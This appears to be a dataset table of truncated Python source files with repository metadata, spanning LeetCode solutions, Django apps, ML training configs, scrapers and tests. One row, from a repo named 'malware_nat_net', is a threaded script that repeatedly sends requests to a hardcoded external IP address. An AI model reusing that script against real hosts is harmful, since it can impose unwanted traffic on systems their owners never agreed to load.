seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
67035798 | from collections import Counter
class Solution:
def characterReplacement(self, s, k):
if not s:
return 0
lo = hi = 0
counter = Counter()
for hi in range(len(s)):
counter[s[hi]] += 1
max_count = counter.most_common(1)[0][1]
if hi - lo ... | null | Longest Repeating Character Replacement.py | Longest Repeating Character Replacement.py | py | 512 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "collections.Counter",
"line_number": 9,
"usage_type": "call"
}
] |
358789266 | import gym
import torch.optim as optim
from dqn_model import DQN_RAM
from dqn_learn import OptimizerSpec, dqn_learing
from utils.gym import get_ram_env, get_wrapper_by_name
from utils.schedule import LinearSchedule
DEBUG =True
BATCH_SIZE = 32
GAMMA = 0.99
REPLAY_BUFFER_SIZE = 1000000 if not DEBUG else 100000
# REPLAY... | null | RL_PROJECT/dqn/clean/ram.py | ram.py | py | 1,549 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "utils.gym.get_wrapper_by_name",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "dqn_learn.OptimizerSpec",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "torch.optim.RMSprop",
"line_number": 30,
"usage_type": "attribute"
},
{
"ap... |
367562615 | from typing import List
from trescope.config import Config
from trescope.core.Utils import toListIfNumpyOrTensorArray
class Mesh3DConfig(Config):
def __init__(self):
super().__init__()
self.__color: int = 0xff000000
self.__i: List[int] = None
self.__j: List[int] = None
sel... | null | Trescope4Python/library/src/trescope/config/Mesh3DConfig.py | Mesh3DConfig.py | py | 1,053 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "trescope.config.Config",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line... |
416964862 | #!/usr/bin/env python
# @author : ash (nevernew@mail.ru)
# @created : 18/11/2019
# @description :
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.... | null | siply_server/server.py | server.py | py | 441 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "http.server.BaseHTTPRequestHandler",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "http.server.HTTPServer",
"line_number": 16,
"usage_type": "call"
}
] |
446751044 | # BSD 3-Clause License
# Copyright (c) 2020, Institut Curie
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice, this
# l... | null | exastolog/StateTransitionTable.py | StateTransitionTable.py | py | 6,038 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "boolean.boolean",
"line_number": 47,
"usage_type": "attribute"
},
{
"api_name": "boolean.boolean",
"line_number": 50,
"usage_type": "attribute"
},
{
"api_name": "numpy.logical_not",
"line_number": 51,
"usage_type": "call"
},
{
"api_name": "boolean.b... |
127701544 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('company', '0010_auto_20150803_1419'),
]
operations = [
migrations.RemoveField(
model_name='company',
... | null | company/migrations/0011_auto_20150813_1517.py | 0011_auto_20150813_1517.py | py | 1,833 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.db.migrations.Migration",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "django.db.migrations",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.db.migrations.RemoveField",
"line_number": 14,
"usage_type": "call"
},
... |
40786013 | from pyspark.sql import SparkSession, SQLContext
from src.models.db_config import DbConfig
import src.lib.db_utils as DbUtils
import pyspark.sql.functions as F
if __name__ == "__main__":
NPI_SOURCE_ID = 1
spark = SparkSession.builder.appName("data2insights").getOrCreate()
sqlContext = SQLContext(spark)
... | null | src/ingestion/write_npi_hcp_address_to_db.py | write_npi_hcp_address_to_db.py | py | 1,124 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pyspark.sql.SparkSession.builder.appName",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "pyspark.sql.SparkSession.builder",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "pyspark.sql.SparkSession",
"line_number": 9,
"usage_type": "... |
465562917 | """Serializers for DRF."""
from rest_framework import serializers
from payment_cards.models import Transaction
class TransactionPaymentSerializer(serializers.ModelSerializer):
"""API for payment webhooks."""
AUTHORISATION_TRANSACTION = 'authorisation'
PRESENTMENT_TRANSACTION = 'presentment'
TYPE_MAP... | null | payment_cards/serializers.py | serializers.py | py | 2,914 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "rest_framework.serializers.ModelSerializer",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "rest_framework.serializers",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "payment_cards.models.Transaction.AUTHORISATION_TYPE",
"line_number":... |
635992801 | from PIL import Image
from django.conf import settings
def get_galaxy_coordinates_at_image(galaxy):
# for ol3, coords in the image are centered in 0, 0
# valid coordinates lies inside this extent:
# [- max_coord, - max_coord, max_coord, max_coord]
max_coord = 20037508.342789244
# the original ima... | null | galaxy_conqueror/apps/game/helpers.py | helpers.py | py | 2,039 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.conf.settings.PROJECT_DIR",
"line_number": 38,
"usage_type": "attribute"
},
{
"api_name": "django.conf.settings",
"line_number": 38,
"usage_type": "name"
},
{
"api_name": "django.conf.settings.MEDIA_ROOT",
"line_number": 41,
"usage_type": "attribute"... |
349839952 | """Defines frontend functions required for searching materials databases"""
# coding=utf-8
from __future__ import print_function
__author__ = 'eager55'
from utilities import searchWoKTools
import csv
import json
import os
import itertools
try:
import wordcloud
wcexists = True
except ImportError:
wcexi... | null | utilities/searchWoK.py | searchWoK.py | py | 30,232 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.join",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 35,
"usage_type": "attribute"
},
{
"api_name": "os.getcwd",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "csv.reader",
"line_number": 3... |
442596081 | # File: timegap.py
# Author: Simon Chu
# Date: Sunday, 23, April, 2017
# Purpose: Calculate the time gap from a certain time
# to a certain time
import datetime
from datetime import datetime, date, time
def main():
print("Program to calculate the time gap.")
print("Written by Simon Chu.")
print()
... | null | timegap.py | timegap.py | py | 1,126 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "datetime.datetime.utcnow",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "datetime.datetime.strptime",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": ... |
102998896 | #!/Users/zhiyang/anaconda3/bin/python
# #!/usr/local/bin/python3
"""
This is written by Zhiyang Ong to extract a subset of BibTeX entries
from a BibTeX database, using a non-empty subset of the following:
+ a set of BibTeX keys
+ a set of keyphrases, stored as optional metadata for each BibTeX entry
Synopsi... | null | extract_bibtex_entries.py | extract_bibtex_entries.py | py | 53,396 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "timing_measurements.performance_measurement_no_ns.execution_time_measurement_no_ns.set_initial_timestamp",
"line_number": 407,
"usage_type": "call"
},
{
"api_name": "timing_measurements.performance_measurement_no_ns.execution_time_measurement_no_ns",
"line_number": 407,
"u... |
275864843 | # coding:utf-8
import numpy as np
import codecs
import re
import os
import pickle
import random
import math
import pandas as pd
from pathlib import Path
from sklearn.metrics import precision_recall_fscore_support, f1_score
from typing import List, Dict
from scipy import stats
import gcnarg.preprocess.classes as DataC... | null | src/gcnarg/util/common.py | common.py | py | 15,331 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "typing.Dict",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "typing.Dict",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "gcnarg.config.LOG_LEVEL",
"li... |
579370510 | #!C:/Users/Saurabh/AppData/Local/Programs/Python/Python36/python.exe
# download pages using the Python requests library
from bs4 import BeautifulSoup
from urllib.error import HTTPError
from urllib.error import URLError
import re
import time
import math
from datetime import datetime
import requests
from selenium import ... | null | backup/main/python/m_magic_brick.py | m_magic_brick.py | py | 7,415 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "MySQLdb.connect",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "databaseconfig.mysql",
"line_number": 32,
"usage_type": "attribute"
},
{
"api_name": "databaseconfig.mysql",
"line_number": 33,
"usage_type": "attribute"
},
{
"api_name": "d... |
458383336 | from collections import OrderedDict
import numpy as np
import theano
from theano import tensor
from nose.tools import assert_raises
from numpy.testing import assert_almost_equal
from dagbldr.datasets import load_digits
from dagbldr.optimizers import sgd
from dagbldr.utils import add_embedding_datasets_to_graph, conver... | null | dagbldr/nodes/tests/test_layers.py | test_layers.py | py | 11,186 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "dagbldr.datasets.load_digits",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "dagbldr.utils.convert_to_one_hot",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "numpy.random.RandomState",
"line_number": 31,
"usage_type": "call"
},
{... |
616167715 | import pytest
from pathlib import Path
import shutil
from gretel_synthetics.config import TensorFlowConfig
test_data_dir = Path(__file__).parent
@pytest.fixture(scope="session")
def tf_config():
target = test_data_dir / "ckpoint"
input_data = test_data_dir / "data" / "smol.txt"
if not target.exists():
... | null | tests/conftest.py | conftest.py | py | 594 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pathlib.Path",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "gretel_synthetics.config.TensorFlowConfig",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "shutil.rmtree",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "p... |
546419240 | __author__ = 'dell'
import requests
import sys
import time
import threading
import random
sem=threading.Semaphore(5)
semMost=None
url="http://118.190.80.87"
def get_url(url,timeout):
global sem
global semMost
state=sem.acquire()
semMost.acquire()
requests.get(url)
sem.release()
if __name__ == ... | null | malware_nat_net/auto_running.py | auto_running.py | py | 856 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "threading.Semaphore",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "sys.argv",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "threading.Semaphore",
... |
281509353 | import numpy as np
import pyFAI
from pyFAI.azimuthalIntegrator import AzimuthalIntegrator
from pyFAI.blob_detection import BlobDetection
from pyFAI.calibrant import Calibrant, ALL_CALIBRANTS
from pyFAI.geometryRefinement import GeometryRefinement
from pyFAI.massif import Massif
from nexpy.gui.datadialogs import NXDial... | null | src/nxrefine/plugins/refine/calibrate_powder.py | calibrate_powder.py | py | 16,014 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "nexpy.gui.utils.report_error",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "nexpy.gui.datadialogs.NXDialog",
"line_number": 24,
"usage_type": "name"
},
{
"api_name": "numpy.pi",
"line_number": 37,
"usage_type": "attribute"
},
{
"api_nam... |
630413516 | '''
╔╦╗╔═╗ ╔═╗┌─┐┬ ┬ ┌─┐┌─┐┌┬┐┌─┐┬─┐
║║╠═╝ ║ │ ││ │ ├┤ │ │ │ │├┬┘
═╩╝╩ ╚═╝└─┘┴─┘┴─┘└─┘└─┘ ┴ └─┘┴└─
'''
from django.http import HttpResponse, Http404, JsonResponse
from django.shortcuts import render, get_object_or_404, redirect, render_to_response
from django.core.paginator import Paginator
from collec... | null | collector/views/frontend.py | frontend.py | py | 11,968 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.shortcuts.render",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "collector.utils.basic.get_current_config",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "collector.models.characters.Character.objects.filter",
"line_number": 44,
... |
179475830 | import logging
from django_auth_ldap.backend import populate_user
from django.conf import settings
from django.dispatch import receiver
import auditor
from event_manager.events.user import USER_LDAP
_logger = logging.getLogger('polyaxon.users.auth_ldap')
@receiver(populate_user)
def populate_user_handler(sender,... | null | polyaxon/api/users/ldap_signals.py | ldap_signals.py | py | 900 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "auditor.record",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "event_manager.events.user.USER_LDAP",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "... |
607845929 | """
Example 1. Drawing a teapot from multiple viewpoints.
"""
import os
import argparse
import torch
import numpy as np
import tqdm
import imageio
import trimesh
import neural_renderer as nr
current_dir = os.path.dirname(os.path.realpath(__file__))
data_dir = os.path.join(current_dir, 'data')
def main():
parser... | null | examples/example1.py | example1.py | py | 3,452 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.dirname",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "os.path.realpath",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"lin... |
269832225 | from django.shortcuts import render,redirect
from django.contrib.auth.models import User, auth
from django.contrib import messages
from django.contrib.auth.models import User,auth
from .database import create_maths,create_physics,create_english,create_computer,create_chemistry,create_maths_marks,create_physics_mark... | null | accounts/views.py | views.py | py | 5,072 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.contrib.auth.models.User.objects.filter",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.models.User.objects",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "django.contrib.auth.models.User",
"line_number": ... |
524400967 | #!/usr/bin/python3
# -*- coding: utf-8 -*-
from django.urls import path
from .views import (
IndicatorList, add_indicator, indicator_create, IndicatorCreate,
IndicatorUpdate, IndicatorDelete, PeriodicTargetDeleteView,
PeriodicTargetView, CollectedDataReportData, CollectedDataCreate, CollectedDataDelete,
... | null | indicators/urls.py | urls.py | py | 5,624 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.urls.path",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "views.IndicatorList.as_view",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "views.IndicatorList",
"line_number": 22,
"usage_type": "name"
},
{
"api_name": "djan... |
6570543 | from django.urls import path
from .views import (apiurlsoverview,
tasklist,
taskdetail,
createtaskview,
updatetaskview,
deletetaskview,)
from django.views.generic import TemplateView
urlpatterns = [
path('api/', api... | null | api/urls.py | urls.py | py | 730 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.urls.path",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "views.apiurlsoverview",
"line_number": 11,
"usage_type": "argument"
},
{
"api_name": "django.urls.path",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "views.tas... |
473020616 | import pandas as pd
from scipy.signal import find_peaks
import numpy as np
import os
import matplotlib.pyplot as plt
import seaborn as sns
input_folder = 'Experiment_1-description/python_results'
output_folder = f'{input_folder}/TDP_plots'
if not os.path.exists(output_folder):
os.makedirs(output_folder)
#######... | null | Experiment_1-description/analysis_scripts/2B-plot_TDP.py | 2B-plot_TDP.py | py | 1,358 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.exists",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "os.makedirs",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_n... |
630957418 | from django.urls import path
from . import views
app_name = 'ex00'
urlpatterns = [
path('', views.HomeView.as_view(), name='home'),
path('articles/', views.ShowArticlesView.as_view(), name='show-articles'),
path('detail/<slug:slug>/', views.ArticleDetailView.as_view(), name='article-detail'),
path('favourites/', v... | null | Day07/day07-ex00/ex00/urls.py | urls.py | py | 809 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.urls.path",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "django.urls.path",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "django.urls.path",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.urls.path",
... |
92213013 | import torch
import cv2
import lib.utils.logger as logger
import lib.pyt.ssd.dataset as ssd_data
import lib.pyt.ssd.loss as ssd_loss
import lib.pyt.ssd.net as ssd_net
import lib.pyt.ssd.predict as ssd_predict
import lib.pyt.ssd.utils as ssd_utils
import lib.utils.Config as cfg
import lib.utils.ProgressBar as j_bar
con... | null | 03.DeepLearning-Detection/02.ssd/voc_pyt_train.py | voc_pyt_train.py | py | 4,419 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "lib.utils.Config.Config",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "lib.utils.Config",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "torch.cuda.is_available",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "torc... |
574769141 | from datetime import datetime, date
from flask import render_template, session, redirect, url_for, jsonify, request, flash
from . import main
from .forms import VolumeSearchForm, AddVolumeForm, SearchApiGoogleForm
from .. import db
from ..models import Volumes
import requests
import sqlite3
from sqlalchemy import exc
... | null | app/main/views.py | views.py | py | 5,662 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "forms.VolumeSearchForm",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "models.Volumes.query.all",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "models.Volumes.query",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_nam... |
406352541 | import flask
import insta549
MODEL = insta549.app.config["MODEL"]
RATING_DF = insta549.app.config["RATING_DF"]
METADATA_DF = insta549.app.config["METADATA_DF"]
USER_GAMES_DF = insta549.app.config["USER_GAMES_DF"]
METADATA = insta549.app.config["METADATA"]
@insta549.app.route('/recommend/user/<string:userid>', methods... | null | insta549/api/recommend.py | recommend.py | py | 1,284 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "insta549.app",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "insta549.app",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "insta549.app",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "insta549.app",
... |
41432996 | __author__ = 'dankle'
import unittest
import subprocess
import tempfile
import os
from mock import MagicMock, patch
from localq.status import Status
from localq.job import Job
class TestJob(unittest.TestCase):
unique_job_id = 0
job = None
def setUp(self):
self.unique_job_id += 1
cmd =... | null | tests/test_localq_Job.py | test_localq_Job.py | py | 3,927 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "unittest.TestCase",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "tempfile.NamedTemporaryFile",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "tempfile.NamedTemporaryFile",
"line_number": 23,
"usage_type": "call"
},
{
"ap... |
238694808 | from knn import KNN
import matplotlib.pyplot as plt
import numpy as np
knn = KNN()
knn.Load_Dataset('iris.csv')
x=(knn.data[:,0:1])
y=(knn.data[:,1:2])
trainX = knn.data[::2,1:3]
trainY = knn.target[::2]
testX = knn.data[1::2,1:3]
testY = knn.target[0::2]
colors = np.zeros((3,3), dtype='f')
colors[0,:] = [1,0.5,0.5... | null | Predict.py | Predict.py | py | 1,353 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "knn.KNN",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "knn.Load_Dataset",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "knn.data",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "knn.data",
"line_number": 7,
... |
490465000 | import moviepy.editor as mp
import os
images = []
for i in range(len(os.listdir('frames')[:-1])):
images.append('frames/out{}.png'.format(i))
clip = mp.ImageSequenceClip(images, fps=24)
print('Converting...')
clip.write_videofile("out2.mp4", threads=4, bitrate='5000k')
| null | frames2mp4.py | frames2mp4.py | py | 276 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.listdir",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "moviepy.editor.ImageSequenceClip",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "moviepy.editor",
"line_number": 8,
"usage_type": "name"
}
] |
108302121 | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
plt.style.use('ggplot')
import pystan
from scipy.stats import gamma
from statsmodels.distributions.empirical_distribution import ECDF
from functools import reduce
from collections import OrderedDict
import dill as pickle
df = pd.read_csv('../data/... | null | Python/main.py | main.py | py | 4,869 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "matplotlib.pyplot.style.use",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.style",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 4,
"usage_type": "name"
},
{
"api_name"... |
629275192 | """
Deploy and manage applications to Azure Container Service.
Usage:
app <command> [help] [options]
Commands:
deploy deploy an application described by the appropriate app configuration
remove remove an application described by the appropriate app configuration from the cluster
... | null | acs/commands/app.py | app.py | py | 6,498 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "base.Base",
"line_number": 35,
"usage_type": "name"
},
{
"api_name": "docopt.docopt",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "inspect.getmembers",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "inspect.ismethod",
"li... |
204205681 | from flask import Flask, render_template, request, redirect, session
import random
from datetime import datetime
app = Flask(__name__)
app.secret_key = "1234"
@app.route('/')
def index():
if not session:
session['total_gold'] = 0
session['activities'] =[]
return render_template('index.html')
... | null | FlaskFundamentals/ninja_gold/server.py | server.py | py | 1,507 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "flask.Flask",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "flask.session",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "flask.session",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "flask.session",
"line_numb... |
395737716 | import golem, psychic
from matplotlib import pyplot as plt
from annotate import annotate_horiz
trials = golem.DataSet.load('../../data/priming-trials.dat')
f = plt.figure(figsize=(12,4))
f.add_axes([0.05, 0.2, 0.38, 0.7])
trials2 = psychic.nodes.Baseline([.2, 1]).train_apply(trials, trials)
psychic.plot_erp(trials2.l... | null | docs/images/baseline.py | baseline.py | py | 843 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "golem.DataSet.load",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "golem.DataSet",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotli... |
409536193 | import copy
import os
import pickle
import sys
import numpy as np
import plotly.graph_objects as go
import trimesh as tm
from plotly.subplots import make_subplots
from pyquaternion.quaternion import Quaternion as Q
sys.path.append('../evaluate')
import mat_trans as mt
from forward_kinematics import ForwardKinematic
... | null | code/magnetization/exp_samez_diffz2_viz.py | exp_samez_diffz2_viz.py | py | 4,897 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.path.append",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "os.name",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_name": "numpy.linalg.norm",
"l... |
113787146 | # Copyright 2014 Mirantis Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | null | magnetodb/tests/unittests/api/openstack/v1/test_query.py | test_query.py | py | 6,346 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "magnetodb.tests.unittests.api.openstack.v1.test_base_testcase.APITestCase",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_name": "magnetodb.tests.unittests.api.openstack.v1.test_base_testcase",
"line_number": 25,
"usage_type": "name"
},
{
"api_name": "magn... |
183363376 | import math
import sys
from mpi4py import MPI
from star import Star
from star_generator import StarGenerator
from star_interactions_acumlator import StarInteractionsAccumlator
def number_of_process_additional_star(number_of_stars, number_of_processes, process_id):
if process_id < number_of_stars % number_of_process... | null | lab3-nbody-problem/ex3.py | ex3.py | py | 5,156 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "star_interactions_acumlator.StarInteractionsAccumlator.sum_of_interaction",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "star_interactions_acumlator.StarInteractionsAccumlator",
"line_number": 26,
"usage_type": "name"
},
{
"api_name": "star_interaction... |
44262633 | import math
from abc import ABC, abstractmethod
from typing import Optional, Sequence
from aqt.browser import Browser, ItemId
from anki.utils import ids2str
from ..utils import *
class CustomSearchNode(ABC):
parameter_name: Optional[str] = None
browser: Optional[Browser] = None
@classmethod
def from... | null | browser/custom_search_nodes.py | custom_search_nodes.py | py | 4,118 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "abc.ABC",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "typing.Optional",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "typing.Optional",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "aqt.browser.Browser",
"lin... |
254501418 | import tensorflow as tf
from tensorflow.keras import layers
from tensorflow.keras import regularizers
import tensorflow_docs as tfdocs
import tensorflow_docs.modeling
import tensorflow_docs.plots
print(tf.__version__)
from IPython import display
from matplotlib import pyplot as plt
import numpy as np
import pathli... | null | PythonTesting/TensorFlow/MLBasicsWithKeras/OverfitAndUnderfit.py | OverfitAndUnderfit.py | py | 5,686 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "tensorflow.__version__",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "pathlib.Path",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "tempfile.mkdtemp",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "shutil.rmtre... |
132815660 | import json
import random
import shutil
import subprocess
from textwrap import fill
import docker
import sys
import os
import re
from prettytable import PrettyTable
import time
import logging
import anchore_image_db
import anchore_utils
DEVNULL = open(os.devnull, 'wb')
class AnchoreImage(object):
"""
Repre... | null | anchore/anchore_image.py | anchore_image.py | py | 27,199 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.devnull",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "logging.getLogger",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_... |
209412306 | # -*- coding: utf-8 -*-
import configparser
import os
import sys
import re
import base64
from PyQt5.QtCore import QByteArray, QBuffer, Qt
from PyQt5.QtWidgets import QFileDialog
from PyQt5.QtGui import QPixmap
from Views.mainConfig import Ui_ct_MainConfig
import mysql.connector
from Crud.Conexao import CreateDb, Cria... | null | controle_estoque/mainconfig.old.py | mainconfig.old.py | py | 10,371 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "Views.mainConfig.Ui_ct_MainConfig",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "configparser.ConfigParser",
"line_number": 57,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 60,
"usage_type": "call"
},
{
"api_name... |
630223473 | #!/usr/bin/python
import sys
import os
import cv2
import numpy as np
from pathlib import Path
def main(pathname, imgPath):
print('\ntextdetection.py')
print(' A demo script of the Extremal Region Filter algorithm described in:')
print(' Neumann L., Matas J.: Real-Time Scene Text Localization ... | null | image_detection/textdetection.py | textdetection.py | py | 2,592 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.dirname",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "cv2.imread",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "cv2.text.computeNMChannels",
... |
316357195 | import pandas as pd
import numpy as np
import os
import keras
import matplotlib.pyplot as plt
from keras.layers import Dense,GlobalAveragePooling2D
from keras.applications import MobileNet
from keras.preprocessing import image
from keras.applications.mobilenet import preprocess_input
from keras.preprocessing.image impo... | null | transfer-learning.py | transfer-learning.py | py | 3,175 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "keras.applications.MobileNet",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "keras.layers.GlobalAveragePooling2D",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "keras.layers.Dense",
"line_number": 18,
"usage_type": "call"
},
{
... |
39927080 | import pandas as pd
import yfinance as yf
import yahoofinancials
import matplotlib.pyplot as plt
import bs4 as bs
import pickle
import requests
from sklearn.metrics import precision_recall_fscore_support as score
from sklearn.decomposition import PCA
from sklearn.utils import class_weight
def pickle_save(to_save,save... | null | venv/stock_downloader.py | stock_downloader.py | py | 3,651 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pickle.dump",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "pickle.load",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 58,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_nu... |
407998462 | import asana
